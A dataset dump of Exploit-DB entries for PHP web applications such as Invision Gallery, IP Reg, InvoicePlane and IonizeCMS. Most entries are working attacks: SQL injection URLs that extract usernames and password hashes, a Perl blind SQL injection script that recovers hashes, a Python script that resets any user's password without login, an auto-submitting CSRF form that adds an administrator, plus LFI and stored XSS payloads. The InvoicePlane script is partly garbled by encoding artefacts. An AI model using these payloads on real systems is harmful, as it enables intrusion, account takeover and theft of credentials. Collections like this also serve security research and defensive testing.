deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25806
Description: Invision Power Services Invision Gallery 1.0.1/1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2005-06-09
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/13907/info

Invision Gallery is affected by an SQL injection vulnerability.

This issue is due to a failure in the application to properly sanitize user-supplied input to the 'index.php' script before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Invision Gallery 1.3.0 and prior are vulnerable. 

http://www.example.com/index.php?act=module&module=gallery&cmd=editcomment&comment=
-99%20UNION%20SELECT%200,0,0,0,0,0,0,0,0,name,0,0,0%20FROM%20ibf_members%20
WHERE%201/*&img=1
Exploit-DB #23868
Description: Invision Power Top Site List 1.0/1.1 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2004-03-22
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/9945/info

It has been reported that Top Site List may be prone to an SQL injection vulnerability that may allow remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. The issue exists due to insufficient sanitizing of the 'id' URI parameter when using the 'comments' feature in 'index.php' script. 

Invision Power Top Site List versions 1.1 RC 2 and prior are reported prone to this issue.

index.php?act=comments&id=[Evil_Query]
Exploit-DB #43806
Description: Invision Power Top Site List < 1.1 RC 2 - SQL Injection
Type: webapps
Platform: php
Date: 2004-03-21
Author: GulfTech Security

Exploit:
Invision Power Top Site List SQL Injection

Vendor: Invision Power Services
Product: Invision Power Top Site List
Version: <= 1.1 RC 2
Website: http://www.invisiontsl.com/

BID: 9945 

Description:
Invision Power Top Site List is a flexible site ranking script written in PHP, the popular programming choice for web developers. Featuring an impressive feature set with a user-friendly interface your community will feel at home using the system. 

SQL Injection Vulnerability:
Invision Power Top Site List is prone to an SQL Injection vuln in its "comment" feature. This issue is very much exploitable as the injection happens right in the middle of a WHERE statement. Lets have a look at an example error message to get a better idea of what is going on. 

Error: Error executing query

The software returned the following error:

You have an error in your SQL syntax. Check the manual that 
corresponds to your MySQL server version for the right syntax 
to use near '[ Evil_Query ]' at line 1

Query Executed: SELECT * FROM tsl_sites WHERE id = [Evil_Query]

As we can see from this it would be of little difficulty for any attacker to execute arbitrary requests. For example pulling the admin hash and/or possibly taking admin control over an affected Invision Power Top Site List. Below is an example url to show how the issue could be exploited. 

index.php?act=comments&id=[Evil_Query] 

Solution:
The Invision Power Services team were contacted immediately and hopefully a fix will be available soon since this is an application that cost users money to use. 

Credits:
James Bercegay of the GulfTech Security Research Team.
Exploit-DB #43789
Description: Invision Power Top Site List < 2.0 Alpha 3 - SQL Injection	 (PoC)
Type: webapps
Platform: php
Date: 2003-12-15
Author: GulfTech Security

Exploit:
Invision Power Top Site List SQL Injection

Vendor: Invision Power Services
Product: Invision Power Top Site List
Version: <= 2.0 Alpha 3
Website: http://www.invisionpower.com/

BID: 9229 

Description:
Invision Power Top Site List is a flexible site ranking script written in PHP, the popular programming choice for web developers. Featuring an impressive feature set with a user-friendly interface. 

Problem:
Invision Power Top Site List is vulnerable to an SQL injection vuln due to not properly sanitizing user input via the "offset" parameter. However, it may be very difficult to exploit this vuln. Compromise. 

Details:
The following GET request will trigger the SQL query syntax error .. 

index.php?offset=[%20Problem%20Here%20]
Error: Error executing query

The software returned the following error:

You have an error in your SQL syntax near '[ Problem Here ],20' at line 14

Query Executed: SELECT s.*,COUNT(DISTINCT c.id) as comment_count, AVG(v.value) 
as rating,COUNT(DISTINCT v.id) as num_votes,COUNT(DISTINCT me.id) as already_voted 
FROM tsl_sites AS s, tsl_users AS u, tsl_emails AS e LEFT JOIN tsl_categories AS 
cat ON cat.id = s.category LEFT JOIN tsl_votes AS v ON v.site = s.id LEFT JOIN 
tsl_ip_address AS ipa ON ipa.address = "24.119.123.100" LEFT JOIN tsl_ip_records 
AS ipr ON ipr.id = ipa.record LEFT JOIN tsl_votes AS me ON me.site = 
s.id && me.ip_record = ipr.id LEFT JOIN tsl_comments AS c ON c.site = s.id && 
c.admin_validate = 1 WHERE s.user = u.id && s.email = e.id && u.blocked = 0 && 
s.active = 1 && s.admin_validate = 1 && e.validated = 1 GROUP BY s.id ORDER BY 
out_count DESC, rating DESC, in_count DESC, name DESC LIMIT [ Problem Here ],20


Solution:
The Invision Team was very prompt and professional in getting back to me about this. Because of the difficulty of exploitation there will be no patch or immediate upgrade released. However the issue will be addressed in the next release of Invision Top Sites List. 

Credits:
James Bercegay of the GulfTech Security Research Team.
Exploit-DB #17344
Description: Invisionix Roaming System Remote metasys 0.2 - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-05-29
Author: Treasure Priyamal

Exploit:
nvisionix Roaming System Remote metasys 0.2 LFI Vulnerability

 
Site ................... :	http://sourceforge.net/projects/irsr/
Download ............... :	http://space.dl.sourceforge.net/project/irsr/irsr/irsr-0.2/irsr-0.2.ZIP 
Author ................. :	Treasure Priyamal
Contact ................ :	treasure[at]treasuresec.com

Note : Successful exploitation requires that "register_globals" is enabled. 	
 
========================================================================
 
Description:
 
Your own portable PC system built by integrating existing Open Source components.
 This mobile metasystem utilizes the internet's web hosting resources and is accessed 
 via any web browser enabled appliance from your home, work, school, library, cafes, etc
 
========================================================================
 
*************************************************
[!]This other sample vuln c0de which affected to LFI [!]
*************************************************

There is a vulnerability in almost every file directory , for example in this Directory file:

[-] system/default.php

require_once ($globalIncludeFilePath);			// System's global include file.

-=[ P0C LFI ]=-

http://localhost/irsr/authenticate/sessions.php?globalIncludeFilePath=[LFI]%00
========================================================================
Exploit-DB #11874
Description: INVOhost - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-25
Author: Andrés Gómez

Exploit:
##########################[Andrés Gómez]##########################
# Exploit Title : INVOhost SQL Injection
# Date : 2010-04-24
# Author : Andrés Gómez

# Software Link : http://www.invohost.com/
# Contact : gomezandres@adinet.com.uy<mailto:gomezandres@adinet.com.uy>
# Dork : "Powered by INVOhost"

########################################################################
# An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the # integrity of your database and/or expose sensitive information.

########################################################################
# Example 1: http://server/site.php?id=%27
# Example 2: http://server/site.php?newlanguage=%00'
# Other files vulnerables: faq.php & manuals.php

########################################################################
# Malicious users may inject SQL querys into a vulnerable
# application to fool a user in order to gather data from them or see sensible information.
########################################################################
# Solution:

# $_GET = preg_replace("|([^\w\s\'])|i",'',$_GET);
# $_POST = preg_replace("|([^\w\s\'])|i",'',$_POST);

# Add them to your template index.php after the first <?php deceleration.
########################################################################
# Special Thanks : HYPERNETHOST & Security-Pentest

##########################[Andrés Gómez]#################################
Exploit-DB #50121
Description: Invoice System 1.0 - 'Multiple' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-07-13
Author: Subhadip Nag

Exploit:
# Exploit Title: Invoice System 1.0 - 'Multiple' Stored Cross-Site Scripting (XSS)
# Date: 12 July 2021
# Exploit Author: Subhadip Nag (mrl0s3r)
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14858/invoice-system-using-phpoop-free-source-code.html
# Tested on: Server: XAMPP


# Description #

Invoice System 1.0 is vulnerable to 'Multiple 'stored cross site scripting (xss) in the Settings option because of insufficient user supplied data.
When anyone visits any other option like(Dashboard,Invoice,Category,Service,Product and also Settings option, our payload will respond as well, and when anyone again Login as Admin the payload works the same as well.

# Proof of Concept (PoC) : Exploit #

1) Goto: http://localhost/simple_invoice/admin/login.php
2) Login: Login as a Admin for given credentials: admin | admin123
3) Goto: Settings option
4) In the System Name & Short Name, Enter the payload:
<script>+-+-1-+-+alert(1)</script>
5) Click Update
6) our XSS attack fired and Stored
7) Wherever we are clicked in any options, noticed that our Payload responding us

8) Goto: http://localhost/simple_invoice/admin/?page=service
9) Click Create New
10) In the Name and Description field, enter the payload:
<<SCRIPT>alert("XSS");//<</SCRIPT>
11) Our XSS attack Successful

12) Goto: http://localhost/simple_invoice/admin/?page=invoice
13) Click Create New
14) In the Customer Name, Unit, Remarks, enter the payload:
<script>alert(1)</script>
15) Our XSS attack Successful


# PoC image
1) https://ibb.co/JpYdZ4F
2) https://ibb.co/brm00dF
3) https://ibb.co/3crYLSZ
4) https://ibb.co/N9m6fy0
5) https://ibb.co/HGNSJDN
6) https://ibb.co/7tyFY1P
7) https://ibb.co/gZ0BvjB
8) https://ibb.co/2S9J6Xn
Exploit-DB #41831
Description: Invoice Template - 'hash' SQL Injection
Type: webapps
Platform: php
Date: 2017-04-07
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Invoice Template v1.0 for PHPRunner/ASPRunnerPro/ASPRunner.NET. - SQL Injection
# Google Dork: N/A
# Date: 07.04.2017
# Vendor Homepage: https://xlinesoft.com/
# Software: https://xlinesoft.com/invoice
# Demo: https://xlinesoft.com/livedemo/invoice/livedemo1/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/invoices_view.php?hash=[SQL]
# # # # #
Exploit-DB #40752
Description: InvoicePlane 1.4.8 - Password Reset
Type: webapps
Platform: php
Date: 2016-11-11
Author: feedersec

Exploit:
# Exploit Title: InvoicePlane v1.4.8 Incorrect Access Control for password =
reset
# Date: 12-11-2016
# Exploit Author: feedersec
# Contact: feedersec@gmail.com
# Vendor Homepage: https://invoiceplane.com
# Software Link: https://invoiceplane.com/download/v1.4.8
# Version: v1.4.8=20
# Tested on: ubuntu 16.04 LTS

# Description: An unauthenticated user can POST to=20
# /index.php/sessions/passwordreset setting a new password for any user

import urllib2, urllib

#set parameters here
user_id =3D '1'
new_password =3D 'haxor'
baseUrl =3D 'http://localhost/'
####

data =3D urllib.urlencode({'user_id': user_id,=20
=09=09=09 'new_password' : new_password,
=09=09=09 'btn_new_password' : '1'})

req =3D urllib2.Request(baseUrl + 'index.php/sessions/passwordreset', data)
response =3D urllib2.urlopen(req)
Exploit-DB #39987
Description: IonizeCMS 1.0.8 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2016-06-21
Author: s0nk3y

Exploit:
<!--
# Exploit Title: IonizeCMS <= 1.0.8 Remote Admin Add CSRF Exploit
# Exploit Author: s0nk3y
# Google Dork: -
# Date: 21/06/2016
# Vendor Homepage: http://ionizecms.com/
# Software Link: https://github.com/ionize/ionize/archive/1.0.8.1.zip
# Version: 1.0.8
# Tested on: Ubuntu 16.04

IonizeCMS is vulnerable to CSRF attack (No CSRF token in place) meaning
that if an admin user can be tricked to visit a crafted URL created by
attacker (via spear phishing/social engineering), a form will be submitted
to (http://localhost/en/admin/user/save) that will add a
new user as administrator.
Once exploited, the attacker can login to the admin panel (
http://localhost/en/admin/auth/login)
using the username and the password he posted in the form.

CSRF PoC Code
=============
-->

<form method="post" action="http://localhost/en/admin/user/save">   
<input type="hidden" name="id_user"/>
<input type="hidden" name="join_date"/>
<input type="hidden" name="salt"/>
<input type="hidden" name="from"/>
<input type="hidden" name="username" value="attacker">
<input type="hidden" name="screen_name" value="attacker">
<input type="hidden" name="email" value="attacker@email.com"/>
<input type="hidden" name="id_role" value="2"/>
<input type="hidden" name="password" value="attackerPassword"/>
<input type="hidden" name="password2" value="attackerPassword"/>
</form>
<script>
document.forms[0].submit();
</script>
Exploit-DB #4771
Description: IP Reg 0.3 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2007-12-22
Author: MhZ91

Exploit:
---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                           
---------------------------------------------------------------

Http://www.inj3ct-it.org	    Staff[at]inj3ct-it[dot]org	

---------------------------------------------------------------

	 Multiple Remote Sql Injection

---------------------------------------------------------------

# Author: MhZ91 
# Title: Ip Reg v0.3 - Remote Sql Injection
# Download: http://sourceforge.net/project/showfiles.php?group_id=211757
# Bug: Remote Sql Injection
# Info: IP Reg is a IPAM tool to keep track of assets, nodes (IP addresses, MAC addresses, DNS aliases) within different subnets, over different locations or even VLAN's. Written in PHP, use it with a MySQL-database to have a unique insight in your local network
# Visit: http://www.inj3ct-it.org

---------------------------------------------------------------

http://[site]/vlanview.php?vlan_id='+union+select+1,2,concat(user_name,char(58),user_pass,char(58),user_displayname)+from+user+where+user_id=[UserID]/*

http://[site]/vlanedit.php?vlan_id='+union+select+1,2,concat(user_name,char(58),user_pass,char(58),user_displayname)+from+user+where+user_id=[UserID]/*

http://[site]/vlandel.php?vlan_id='+union+select+1,2,concat(user_name,char(58),user_pass,char(58),user_displayname)+from+user+where+user_id=[UserID]/*

http://[site]/assetclassgroupview.php?assetclassgroup_id='+union+select+1,concat(user_name,char(58),user_pass,char(58),user_displayname)+from+user+where+user_id=[UserID]/*

http://[site]/nodelist.php?subnet_id='+union+select+1,2,3,4,5,6,7,concat(user_name,char(58),user_pass,char(58),user_displayname)+from+user+where+user_id=[UserID]/*

There is other more sql injection.

For get user, password and status of the members, u must edit [UserID] whit number.. The number 1 it's the default id of the admin.
---------------------------------------------------------------

# milw0rm.com [2007-12-22]
Exploit-DB #6657
Description: IP Reg 0.4 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-10-03
Author: StAkeR

Exploit:
#!/usr/bin/perl 
# -----------------------------------------------
# IP Reg <= 0.4 Blind SQL Injection Exploit
# Discovered By StAkeR - StAkeR[at]hotmail[dot]it 
# Discovered On 03/10/2008 
# -----------------------------------------------
# Download http://sourceforge.net/projects/ipreg/
# -----------------------------------------------

use strict;
use LWP::UserAgent;

my @chars = (48..57, 97..102); 
my $start = undef;
my $stop  = undef;
my $hash  = undef;
my $substr = 1; 
my $http = new LWP::UserAgent;
my ($domain,$userid) = @ARGV;

usage() unless $domain =~ /^http:\/\/(.+?)$/i and $userid =~ /^[0-9]$/; 


sub send_request
{ 
  my $post = undef;
  my $host = $domain;
  my $param = shift @_ or die $!;
  
  $host .= "/login.php";
  $post = $http->post($host,[
                             user_name => $param,
                             user_pass => 'admin'
                            ]);
 
}


sub give_char
{
  my $send = undef;
  my ($charz,$uidz) = @_;
  
  $send = "' or (select if((ascii(substring".
          "(user_pass,$uidz,1))=$charz),".
          "benchmark(200000000,char(0)),".
          "0) from user where user_id=$userid)#";

  return $send;
}


for(0..32) 
{
  foreach my $set(@chars)
  {
    my $start = time();
    
    send_request(give_char($set,$substr));
    
    my $stop = time();
  
    if($stop - $start > 3)
    { 
      $hash .= chr($set);
      $substr++ and last;
    }
  }
}

sub usage
{
  print "[?] IP Reg <= 0.4 (login.php) Blind SQL Injection Exploit\n";
  print "[?] Exploit Coded By StAkeR - Benchmark Method\n";
  print "[?] Usage: perl $0 http://[host] [id]\n";
  exit;
}


if(defined $hash and $http->get($domain)->is_success)   
{
  print "[?] Hash: $hash\n";
  exit;
}
else
{
  print "[?] Exploit Failed!\n";
  exit;
}

# milw0rm.com [2008-10-03]
Exploit-DB #6765
Description: IP Reg 0.4 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-10-16
Author: JosS

Exploit:
# IP Reg <= 0.4 Multiple Remote SQL Injection Vulnerabilities
# url: http://sourceforge.net/projects/ipreg/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Greetz To: All Hackers and milw0rm website

-------------------------

vuln file: /locationdel.php
vuln code:
27: $location_id = $_GET['location_id'];
xx: ...
42: $result = mysql_query("SELECT location_name FROM location WHERE location_id='$location_id'") or die(mysql_error());

PoC:     /locationdel.php?location_id='[foo]
Exploit: /locationdel.php?location_id='+union+all+select+concat(user_name,char(58),user_pass)+from+user/*

-------------------------

vuln file: /vlanview.php
vuln code:
27: $vlan_id = $_GET['vlan_id'];
xx: ...
42: $result = mysql_query("SELECT vlan_name, vlan_number, vlan_info FROM vlan WHERE vlan_id='$vlan_id'") or die(mysql_error
    ());

PoC:     /vlanview.php?vlan_id='[foo]
Exploit: /vlanview.php?vlan_id='+union+all+select+1,1,concat(user_name,char(58),user_pass)+from+user/*

-------------------------

vuln file: /vlanedit.php
vuln code:
27: $vlan_id = $_GET['vlan_id'];
xx: ...
42: $result = mysql_query("SELECT vlan_name, vlan_number, vlan_info FROM vlan WHERE vlan_id='$vlan_id'") or die(mysql_error
    ());

PoC:     /vlanedit.php?vlan_id='[foo]
Exploit: /vlanedit.php?vlan_id='+union+all+select+1,1,concat(user_name,char(58),user_pass)+from+user/*

-------------------------

vuln file: /vlandel.php
vuln code:
27: $vlan_id = $_GET['vlan_id'];
xx: ...
42: $result = mysql_query("SELECT vlan_id, vlan_name, vlan_number FROM vlan WHERE vlan_id='$vlan_id'") or die(mysql_error
    ());

PoC:     /vlandel.php?vlan_id='[foo]
Exploit: /vlandel.php?vlan_id='+union+all+select+1,1,concat(user_name,char(58),user_pass)+from+user/*

# milw0rm.com [2008-10-16]
Exploit-DB #38229
Description: IP.Gallery - 'img' SQL Injection
Type: webapps
Platform: php
Date: 2013-01-17
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/57444/info

IP.Gallery is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

IP.Gallery 2.0.5 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?automodule=gallery&cmd=si&img=[SQL]
Exploit-DB #24481
Description: IP.Gallery 4.2.x/5.0.x - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-02-11
Author: Mohamed Ramadan

Exploit:
# Exploit Title: IP.Gallery 4.2.x and 5.0.x persistent XSS vulnerability

# Date: 8/2/2013

# Exploit Author: Mohamed Ramadan

# Author HomePage: http://www.Attack-Secure.com

# Author Twitter : https://twitter.com/Attack_Secure

# Vendor Homepage: http://www.invisionpower.com/

# Software Link: http://www.invisionpower.com/apps/gallery/

# Version: IP.Gallery 4.2.x and 5.0.x


image title is vulnerable to persistent XSS vulnerability which allow any
normal member to hack any administrator account or any other member account.

we contacted the vendor and reported this issue to them and they fixed it
and released this patch:

http://community.invisionpower.com/topic/379028-ipgallery-42x-and-50x-security-update/


Here is a video demonstrating the attack in action :


https://docs.google.com/file/d/0B_cpjifQmPbZMmxVcEdqU3A1aU0/edit?usp=sharing


and here is another video demonstrating how to bypass httponly cookies :


https://docs.google.com/file/d/0B_cpjifQmPbZemFsbFJDRnVkVTA/edit?usp=sharing



Mohamed Ramadan ( Attack-Secure.com )